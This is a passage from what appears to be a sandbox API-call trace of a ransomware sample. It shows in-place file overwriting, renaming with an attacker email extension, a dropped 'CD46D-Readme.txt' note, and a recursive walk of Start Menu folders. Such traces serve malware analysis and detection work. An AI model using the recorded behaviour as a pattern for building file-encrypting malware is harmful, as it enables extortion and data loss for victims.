Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x4bd060c [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x7a2479da [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x1462c883 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0xd7557d8 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x4cdecf80 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x13403818 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x4a109342 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x2ce6e452 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x408e0d06 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x5139b9e4 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0xdcdf5d4 [0049.815] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x3f76ff7 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x316d4dd7 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x58514ef0 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x460aa789 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x5ca83316 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x181f37e5 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0xddf3e18 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x4448a5d7 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x48478360 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x24541d96 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x8cdb111 [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x2645fd2f [0049.816] RtlRandomEx (in: Seed=0xb4ff7a8 | out: Seed=0xb4ff7a8) returned 0x7ca998ad [0049.829] ReadFile (in: hFile=0x1fc, lpBuffer=0x4d3fe8, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0xb4ff798, lpOverlapped=0x0 | out: lpBuffer=0x4d3fe8*, lpNumberOfBytesRead=0xb4ff798*=0x143e, lpOverlapped=0x0) returned 1 [0049.830] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.830] WriteFile (in: hFile=0x1fc, lpBuffer=0x96fc008*, nNumberOfBytesToWrite=0x143e, lpNumberOfBytesWritten=0xb4ff794, lpOverlapped=0x0 | out: lpBuffer=0x96fc008*, lpNumberOfBytesWritten=0xb4ff794*=0x143e, lpOverlapped=0x0) returned 1 [0053.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441488 [0053.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441460 [0053.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441460) returned 1 [0053.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fc008) returned 1 [0053.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d3fe8) returned 1 [0053.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a150) returned 1 [0053.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0053.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x45) returned 0x445090 [0053.226] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.226] WriteFile (in: hFile=0x1fc, lpBuffer=0x44e768*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0xb4ff7fc, lpOverlapped=0x0 | out: lpBuffer=0x44e768*, lpNumberOfBytesWritten=0xb4ff7fc*=0x129, lpOverlapped=0x0) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e768) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444eb0) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441460) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441488) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed890) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed958) returned 1 [0053.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed980) returned 1 [0053.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x116) returned 0x44e768 [0053.510] wcscpy (in: _Dest=0x44e768, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0053.510] wcscat (in: _Dest=0x44e768, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d" [0053.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xb4ff7b4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12c) returned 0x12d9f008 [0053.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f008) returned 1 [0053.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49d000) returned 1 [0053.630] NtQueryInformationFile (in: FileHandle=0x1fc, IoStatusBlock=0xb4ff7c0, FileInformation=0xb4ff798, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xb4ff7c0, FileInformation=0xb4ff798) returned 0x0 [0053.630] NtSetInformationFile (FileHandle=0x1fc, IoStatusBlock=0xb4ff7c0, FileInformation=0xb4ff798, Length=0x28, FileInformationClass=0x4) returned 0x0 [0053.646] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e768) returned 1 [0053.646] FlushFileBuffers (hFile=0x1fc) returned 1 [0053.648] CloseHandle (hObject=0x1fc) returned 1 [0053.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02120 [0053.655] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0053.655] wcscat (in: _Dest=0x5e02120, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" [0053.655] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\cd46d-readme.txt")) returned 0xffffffff [0053.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0053.970] WriteFile (in: hFile=0x1fc, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xb4ff7bc, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xb4ff7bc*=0x6fd, lpOverlapped=0x0) returned 1 [0053.971] CloseHandle (hObject=0x1fc) returned 1 [0053.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0053.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40cda0) returned 1 Thread: id = 473 os_tid = 0xe54 [0049.241] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417350 [0049.241] wcscpy (in: _Dest=0x417350, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0049.241] wcscat (in: _Dest=0x417350, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0049.241] wcscat (in: _Dest=0x417350, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0049.241] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fc68 [0049.241] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a328 [0049.241] wcscmp (_String1=".", _String2=".") returned 0 [0049.242] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.242] wcscmp (_String1="..", _String2=".") returned 1 [0049.242] wcscmp (_String1="..", _String2="..") returned 0 [0049.242] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0049.242] wcscmp (_String1="Accessibility", _String2=".") returned 1 [0049.242] wcscmp (_String1="Accessibility", _String2="..") returned 1 [0049.242] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x4242d0 [0049.242] wcscpy (in: _Dest=0x4242d0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0049.242] wcscat (in: _Dest=0x4242d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0049.242] wcscat (in: _Dest=0x4242d0, _Source="Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0049.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4242d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0049.586] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calculator.lnk", cAlternateFileName="CALCUL~1.LNK")) returned 1 [0049.586] wcscmp (_String1="Calculator.lnk", _String2=".") returned 1 [0049.586] wcscmp (_String1="Calculator.lnk", _String2="..") returned 1 [0049.586] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec08153b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec08153b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0049.586] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0049.586] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0049.586] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27fbfe08, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x27fbfe08, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28032229, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="displayswitch.lnk", cAlternateFileName="DISPLA~1.LNK")) returned 1 [0049.587] wcscmp (_String1="displayswitch.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="displayswitch.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c2bb60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c2bb60, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Math Input Panel.lnk", cAlternateFileName="MATHIN~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Math Input Panel.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Math Input Panel.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c77e20, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80c77e20, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80c77e20, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mobility Center.lnk", cAlternateFileName="MOBILI~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Mobility Center.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Mobility Center.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80afb060, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80afb060, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80afb060, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkProjection.lnk", cAlternateFileName="NETWOR~1.LNK")) returned 1 [0049.587] wcscmp (_String1="NetworkProjection.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="NetworkProjection.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8b74ec, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2d8b74ec, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2da0e14f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paint.lnk", cAlternateFileName="")) returned 1 [0049.587] wcscmp (_String1="Paint.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Paint.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x173a8e5b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x173a8e5b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x174413dc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x0, dwReserved1=0x0, cFileName="Remote Desktop Connection.lnk", cAlternateFileName="REMOTE~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Remote Desktop Connection.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Remote Desktop Connection.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81caf400, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81caf400, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snipping Tool.lnk", cAlternateFileName="SNIPPI~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Snipping Tool.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Snipping Tool.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aad4ba5, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aad4ba5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aad4ba5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sound Recorder.lnk", cAlternateFileName="SOUNDR~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Sound Recorder.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Sound Recorder.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cc40e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80cc40e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80cc40e0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x547, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sticky Notes.lnk", cAlternateFileName="STICKY~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Sticky Notes.lnk", _String2=".") returned 1 [0049.587] wcscmp (_String1="Sticky Notes.lnk", _String2="..") returned 1 [0049.587] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c9baa28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3c9baa28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3ca06ce9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Center.lnk", cAlternateFileName="SYNCCE~1.LNK")) returned 1 [0049.587] wcscmp (_String1="Sync Center.lnk", _String2=".") returned 1 [0049.588] wcscmp (_String1="Sync Center.lnk", _String2="..") returned 1 [0049.588] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0049.588] wcscmp (_String1="System Tools", _String2=".") returned 1 [0049.588] wcscmp (_String1="System Tools", _String2="..") returned 1 [0049.588] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x445670 [0049.588] wcscpy (in: _Dest=0x445670, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0049.588] wcscat (in: _Dest=0x445670, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0049.588] wcscat (in: _Dest=0x445670, _Source="System Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" [0049.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x445670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0049.589] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0049.589] wcscmp (_String1="Tablet PC", _String2=".") returned 1 [0049.589] wcscmp (_String1="Tablet PC", _String2="..") returned 1 [0049.589] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee018 [0049.589] wcscpy (in: _Dest=0x4ee018, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0049.589] wcscat (in: _Dest=0x4ee018, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0049.589] wcscat (in: _Dest=0x4ee018, _Source="Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" [0049.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ee018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0049.590] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b13a6d0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome Center.lnk", cAlternateFileName="WELCOM~1.LNK")) returned 1 [0049.590] wcscmp (_String1="Welcome Center.lnk", _String2=".") returned 1 [0049.590] wcscmp (_String1="Welcome Center.lnk", _String2="..") returned 1 [0049.590] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x42fc68 | out: lpFindFileData=0x42fc68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, 